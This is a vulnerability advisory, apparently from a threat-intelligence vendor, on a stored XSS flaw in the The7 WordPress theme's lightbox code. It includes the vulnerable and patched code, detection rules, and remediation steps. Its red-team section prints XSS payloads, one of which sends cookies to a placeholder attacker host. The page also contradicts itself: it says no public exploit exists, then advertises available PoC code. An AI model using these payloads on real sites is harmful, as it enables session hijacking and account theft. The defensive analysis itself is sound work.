CVE-2025-7726
Executive Summary
CVE-2025-7726 is a Stored Cross-Site Scripting (XSS) vulnerability in the The7 WordPress theme, affecting all versions up to and including 12.6.0. The flaw resides in the theme’s lightbox rendering code, where user-supplied attributes (title and data-dt-img-description) are read via jQuery.attr() and directly injected into the DOM using jQuery.html() without sanitization or escaping. This allows authenticated attackers with at least Contributor-level access to inject arbitrary JavaScript payloads that execute when any user views the compromised page. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for sites with untrusted contributors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial WordPress theme (The7) distributed via ThemeForest and other marketplaces. Since it is a theme, there is no NPM, PyPI, Go, or Ruby package involved. However, the theme may include bundled JavaScript libraries (e.g., jQuery) that are part of the WordPress ecosystem. Users should ensure they are running the latest version of the theme and monitor for official patches from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: Required (victim must view the page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires authenticated access with Contributor privileges, which limits the attack surface. However, once exploited, the attacker can execute arbitrary JavaScript in the context of any user visiting the page, potentially leading to session hijacking, defacement, or phishing.
Deep Dive & Mechanics
The vulnerability is rooted in the theme’s JavaScript code that handles lightbox functionality. The code reads the title and data-dt-img-description attributes from HTML elements (likely <a> or <img> tags) using jQuery.attr(). These values are then concatenated into an HTML string and inserted into the DOM via jQuery.html(). Because the input is not sanitized or escaped, an attacker can inject malicious HTML/JavaScript.
Vulnerable Code Pattern (Conceptual):
var title = $element.attr('title');
var desc = $element.attr('data-dt-img-description');
var html = '<div class="dt-lightbox-title">' + title + '</div><div class="dt-lightbox-desc">' + desc + '</div>';
$('.lightbox-container').html(html);
An attacker with Contributor-level access can create or edit a post/page and insert an image or link with a crafted title or data-dt-img-description attribute containing a payload like:
<img src="x" data-dt-img-description="<script>alert('XSS')</script>" />
When a user views the page and triggers the lightbox (e.g., by clicking the image), the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (The7 <= 12.6.0):
// Vulnerable: direct concatenation without escaping
var title = $element.attr('title');
var desc = $element.attr('data-dt-img-description');
var html = '<div class="dt-lightbox-title">' + title + '</div><div class="dt-lightbox-desc">' + desc + '</div>';
$('.lightbox-container').html(html);
Patched Code (Hypothetical fix):
// Patched: use text() or escape HTML entities
var title = $element.attr('title');
var desc = $element.attr('data-dt-img-description');
$('.dt-lightbox-title').text(title);
$('.dt-lightbox-desc').text(desc);
The patched version uses jQuery.text() instead of jQuery.html(), which automatically escapes HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress site with The7 theme <= 12.6.0
- Authenticated user with Contributor-level access or higher
Steps:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- Insert an image or link with a malicious
data-dt-img-descriptionattribute:<a href="https://example.com" data-dt-img-description="<img src=x onerror=alert('XSS')>">Click me</a> - Publish the post.
- When any user (including admins) views the post and clicks the link (triggering the lightbox), the JavaScript executes.
Payload Example:
<img src="x" data-dt-img-description="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>" />
Blue Team (Detection & Defense)
Detection:
- Monitor for posts/pages containing suspicious
data-dt-img-descriptionortitleattributes with script-like content. - Use WAF rules to block requests containing
<script>oronerrorin those attributes. - Review server logs for unusual POST requests to
wp-admin/post.phporwp-admin/admin-ajax.phpfrom Contributor accounts.
Defense:
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a WordPress security plugin that scans for XSS payloads in post content.
- Apply input validation on the server side for
titleanddata-dt-img-descriptionattributes.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
wp-admin/post.phporwp-admin/admin-ajax.phpcontainingdata-dt-img-descriptionwith script tags. - File System: Modified posts/pages in the WordPress database containing malicious
data-dt-img-descriptionortitleattributes. - Logs: JavaScript errors or unexpected redirects in browser console when viewing lightbox content.
- Behavior: Unauthorized cookie theft, session hijacking, or defacement of pages.
Detection Engineering
YARA Rule
rule CVE_2025_7726_The7_XSS {
meta:
description = "Detects malicious data-dt-img-description or title attributes in WordPress posts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-7726"
strings:
$xss1 = /data-dt-img-description\s*=\s*["'][^"']*<script/i
$xss2 = /data-dt-img-description\s*=\s*["'][^"']*onerror/i
$xss3 = /title\s*=\s*["'][^"']*<script/i
$xss4 = /title\s*=\s*["'][^"']*onerror/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-7726 - Stored XSS via The7 Lightbox
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in The7 theme via data-dt-img-description or title attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/post.php'
cs-uri-query|contains: 'data-dt-img-description'
condition: selection
falsepositives:
- Legitimate use of the attribute with safe content
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7726 - The7 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"data-dt-img-description"; http_client_body; pcre:"/data-dt-img-description\s*=\s*["'][^"']*<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Contributor accounts if not needed, or restrict their ability to insert custom attributes.
- Apply a WAF rule to block requests containing
<script>oronerrorindata-dt-img-descriptionortitleattributes. - Manually patch the theme by editing the JavaScript file (e.g.,
js/lightbox.js) to replacejQuery.html()withjQuery.text()for the affected attributes.
Long-term Fix:
- Wait for an official patch from The7 theme vendor. Monitor their changelog and update to the latest version as soon as it is released.
- Consider switching to a different theme if the vendor does not provide a timely fix.
Workaround:
- Use a WordPress security plugin that sanitizes post content on save (e.g., Wordfence, Sucuri).
- Implement CSP headers to block inline JavaScript execution.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.